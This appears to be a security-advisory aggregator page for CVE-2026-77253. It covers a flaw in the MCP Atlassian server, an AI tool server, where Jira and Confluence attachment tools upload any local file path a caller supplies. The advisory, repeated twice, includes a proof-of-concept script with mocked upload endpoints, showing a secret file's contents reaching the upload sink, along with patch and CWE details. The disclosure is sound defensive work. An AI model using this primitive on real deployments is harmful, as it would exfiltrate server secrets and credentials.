CVE-2026-77253

GHSA-vc25-24vv-fxxm HIGH
Published September 22, 2026

### Summary MCP Atlassian exposes Jira and Confluence attachment upload tools that accept arbitrary local filesystem paths and upload those file contents to Atlassian. In HTTP or multi-user deployments, an MCP caller who can invoke write tools can cause the server to read any file accessible to...

Full CISO analysis pending enrichment.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
MCP Atlassian pip < 0.22.0 0.22.0
1 dependents 85% patched ~3d to patch Full package profile →

Do you use MCP Atlassian? You're affected.

How severe is it?

CVSS 3.1
7.1 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
N/A

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Unchanged
C High
I Low
A None

What should I do?

Patch available

Update MCP Atlassian to version 0.22.0

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is CVE-2026-77253?

### Summary MCP Atlassian exposes Jira and Confluence attachment upload tools that accept arbitrary local filesystem paths and upload those file contents to Atlassian. In HTTP or multi-user deployments, an MCP caller who can invoke write tools can cause the server to read any file accessible to the MCP process and send it to Jira/Confluence as an attachment. ### Details The Confluence MCP upload tool accepts a `file_path` described as an absolute or relative server path in `src/mcp_atlassian/servers/confluence.py:1290-1316` and forwards it directly to `confluence_fetcher.upload_attachment()` in `src/mcp_atlassian/servers/confluence.py:1356-1363`. The multi-upload variant accepts comma-separated local paths in `src/mcp_atlassian/servers/confluence.py:1372-1449`. The Confluence attachment implementation converts relative paths to absolute paths, checks only existence, and then opens the path for upload. There is no call to `validate_safe_path()` or any allowed directory check for uploads in `src/mcp_atlassian/confluence/attachments.py:61-79`; the direct upload path opens the file with `open(file_path, "rb")` in `src/mcp_atlassian/confluence/attachments.py:467-490`. The Jira upload implementation has the same pattern: it converts relative paths, checks existence, and opens the path in `src/mcp_atlassian/jira/attachments.py:371-388`. Jira issue update also accepts an `attachments` field as JSON or CSV local paths in `src/mcp_atlassian/servers/jira.py:1609-1662`, forwards it through update fields in `src/mcp_atlassian/servers/jira.py:1668-1676`, and `IssuesMixin.update_issue()` calls `self.upload_attachments(issue_key, kwargs["attachments"])` in `src/mcp_atlassian/jira/issues.py:1132-1137`. The tools are decorated with `@check_write_access`, so `READ_ONLY_MODE=true` blocks them. However, in default write-enabled deployments, the only security boundary is whether the MCP caller can invoke write tools. Combined with HTTP/multi-user exposure, this becomes a server-side arbitrary file read/exfiltration primitive to the configured Jira/Confluence instance. ### PoC The following proof uses temporary files and mocked upload sinks only. It does not contact Atlassian or modify remote data. ```bash uv run python - <<'PY' import json, tempfile from pathlib import Path from types import SimpleNamespace from mcp_atlassian.confluence.attachments import AttachmentsMixin as ConfluenceAttachmentsMixin from mcp_atlassian.confluence.config import ConfluenceConfig from mcp_atlassian.jira.attachments import AttachmentsMixin as JiraAttachmentsMixin from mcp_atlassian.jira.config import JiraConfig class FakeResponse: def raise_for_status(self): pass def json(self): return {'results': [{'id': 'att-poc'}]} class FakeConfluenceSession: def __init__(self): self.uploaded = None def put(self, url, headers=None, files=None, data=None): file_tuple = files['file'] self.uploaded = { 'url': url, 'filename': file_tuple[0], 'content': file_tuple[1].read().decode(), } file_tuple[1].close() return FakeResponse() def confluence_probe(secret_path): fetcher = object.__new__(ConfluenceAttachmentsMixin) session = FakeConfluenceSession() fetcher.config = ConfluenceConfig(url='https://confluence.example.test/wiki', auth_type='pat', personal_token='token') fetcher.confluence = SimpleNamespace(_session=session) result = fetcher.upload_attachment('123456', str(secret_path)) return {'result_success': result.get('success'), 'uploaded': session.uploaded} class FakeJiraApi: def __init__(self): self.uploaded = None def add_attachment(self, issue_key, filename): self.uploaded = { 'issue_key': issue_key, 'filename': Path(filename).name, 'content': Path(filename).read_text(), } return {'id': 'att-poc'} def jira_probe(secret_path): fetcher = object.__new__(JiraAttachmentsMixin) fake = FakeJiraApi() fetcher.config = JiraConfig(url='https://jira.example.test', auth_type='pat', personal_token='token') fetcher.jira = fake result = fetcher.upload_attachment('SAFE-1', str(secret_path)) return {'result_success': result.get('success'), 'uploaded': fake.uploaded} with tempfile.TemporaryDirectory(prefix='mcp-atlassian-upload-poc-') as tmp: secret_path = Path(tmp) / 'server-secret.txt' secret_path.write_text('SERVER_LOCAL_SECRET_MARKER') print(json.dumps({ 'confluence': confluence_probe(secret_path), 'jira': jira_probe(secret_path), }, indent=2, sort_keys=True)) PY ``` Observed output from this environment: ```json { "confluence": { "result_success": true, "uploaded": { "content": "SERVER_LOCAL_SECRET_MARKER", "filename": "server-secret.txt", "url": "https://confluence.example.test/wiki/rest/api/content/123456/child/attachment" } }, "jira": { "result_success": true, "uploaded": { "content": "SERVER_LOCAL_SECRET_MARKER", "filename": "server-secret.txt", "issue_key": "SAFE-1" } } } ``` The proof demonstrates that attacker-supplied local paths reach file reads and the contents are passed to the upload sink. ### Impact A caller with MCP write-tool access can exfiltrate any file readable by the MCP server process to an Atlassian issue or Confluence page that the configured account can write to. In containerized or server deployments this can include mounted secrets, environment files, OAuth fallback token files, service-account credentials, source code, or other local data. The attack is remote when the MCP server is exposed over HTTP and requires only ability to call the attachment/update write tools.

Is CVE-2026-77253 actively exploited?

No confirmed active exploitation of CVE-2026-77253 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-77253?

Update to patched version: MCP Atlassian 0.22.0.

What is the CVSS score for CVE-2026-77253?

CVE-2026-77253 has a CVSS v3.1 base score of 7.1 (HIGH).

What are the technical details?

Original Advisory

### Summary MCP Atlassian exposes Jira and Confluence attachment upload tools that accept arbitrary local filesystem paths and upload those file contents to Atlassian. In HTTP or multi-user deployments, an MCP caller who can invoke write tools can cause the server to read any file accessible to the MCP process and send it to Jira/Confluence as an attachment. ### Details The Confluence MCP upload tool accepts a `file_path` described as an absolute or relative server path in `src/mcp_atlassian/servers/confluence.py:1290-1316` and forwards it directly to `confluence_fetcher.upload_attachment()` in `src/mcp_atlassian/servers/confluence.py:1356-1363`. The multi-upload variant accepts comma-separated local paths in `src/mcp_atlassian/servers/confluence.py:1372-1449`. The Confluence attachment implementation converts relative paths to absolute paths, checks only existence, and then opens the path for upload. There is no call to `validate_safe_path()` or any allowed directory check for uploads in `src/mcp_atlassian/confluence/attachments.py:61-79`; the direct upload path opens the file with `open(file_path, "rb")` in `src/mcp_atlassian/confluence/attachments.py:467-490`. The Jira upload implementation has the same pattern: it converts relative paths, checks existence, and opens the path in `src/mcp_atlassian/jira/attachments.py:371-388`. Jira issue update also accepts an `attachments` field as JSON or CSV local paths in `src/mcp_atlassian/servers/jira.py:1609-1662`, forwards it through update fields in `src/mcp_atlassian/servers/jira.py:1668-1676`, and `IssuesMixin.update_issue()` calls `self.upload_attachments(issue_key, kwargs["attachments"])` in `src/mcp_atlassian/jira/issues.py:1132-1137`. The tools are decorated with `@check_write_access`, so `READ_ONLY_MODE=true` blocks them. However, in default write-enabled deployments, the only security boundary is whether the MCP caller can invoke write tools. Combined with HTTP/multi-user exposure, this becomes a server-side arbitrary file read/exfiltration primitive to the configured Jira/Confluence instance. ### PoC The following proof uses temporary files and mocked upload sinks only. It does not contact Atlassian or modify remote data. ```bash uv run python - <<'PY' import json, tempfile from pathlib import Path from types import SimpleNamespace from mcp_atlassian.confluence.attachments import AttachmentsMixin as ConfluenceAttachmentsMixin from mcp_atlassian.confluence.config import ConfluenceConfig from mcp_atlassian.jira.attachments import AttachmentsMixin as JiraAttachmentsMixin from mcp_atlassian.jira.config import JiraConfig class FakeResponse: def raise_for_status(self): pass def json(self): return {'results': [{'id': 'att-poc'}]} class FakeConfluenceSession: def __init__(self): self.uploaded = None def put(self, url, headers=None, files=None, data=None): file_tuple = files['file'] self.uploaded = { 'url': url, 'filename': file_tuple[0], 'content': file_tuple[1].read().decode(), } file_tuple[1].close() return FakeResponse() def confluence_probe(secret_path): fetcher = object.__new__(ConfluenceAttachmentsMixin) session = FakeConfluenceSession() fetcher.config = ConfluenceConfig(url='https://confluence.example.test/wiki', auth_type='pat', personal_token='token') fetcher.confluence = SimpleNamespace(_session=session) result = fetcher.upload_attachment('123456', str(secret_path)) return {'result_success': result.get('success'), 'uploaded': session.uploaded} class FakeJiraApi: def __init__(self): self.uploaded = None def add_attachment(self, issue_key, filename): self.uploaded = { 'issue_key': issue_key, 'filename': Path(filename).name, 'content': Path(filename).read_text(), } return {'id': 'att-poc'} def jira_probe(secret_path): fetcher = object.__new__(JiraAttachmentsMixin) fake = FakeJiraApi() fetcher.config = JiraConfig(url='https://jira.example.test', auth_type='pat', personal_token='token') fetcher.jira = fake result = fetcher.upload_attachment('SAFE-1', str(secret_path)) return {'result_success': result.get('success'), 'uploaded': fake.uploaded} with tempfile.TemporaryDirectory(prefix='mcp-atlassian-upload-poc-') as tmp: secret_path = Path(tmp) / 'server-secret.txt' secret_path.write_text('SERVER_LOCAL_SECRET_MARKER') print(json.dumps({ 'confluence': confluence_probe(secret_path), 'jira': jira_probe(secret_path), }, indent=2, sort_keys=True)) PY ``` Observed output from this environment: ```json { "confluence": { "result_success": true, "uploaded": { "content": "SERVER_LOCAL_SECRET_MARKER", "filename": "server-secret.txt", "url": "https://confluence.example.test/wiki/rest/api/content/123456/child/attachment" } }, "jira": { "result_success": true, "uploaded": { "content": "SERVER_LOCAL_SECRET_MARKER", "filename": "server-secret.txt", "issue_key": "SAFE-1" } } } ``` The proof demonstrates that attacker-supplied local paths reach file reads and the contents are passed to the upload sink. ### Impact A caller with MCP write-tool access can exfiltrate any file readable by the MCP server process to an Atlassian issue or Confluence page that the configured account can write to. In containerized or server deployments this can include mounted secrets, environment files, OAuth fallback token files, service-account credentials, source code, or other local data. The attack is remote when the MCP server is exposed over HTTP and requires only ability to call the attachment/update write tools.

Weaknesses (CWE)

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

  • [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
  • [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Timeline

Published
September 22, 2026
Last Modified
September 22, 2026
First Seen
September 23, 2026

Related Vulnerabilities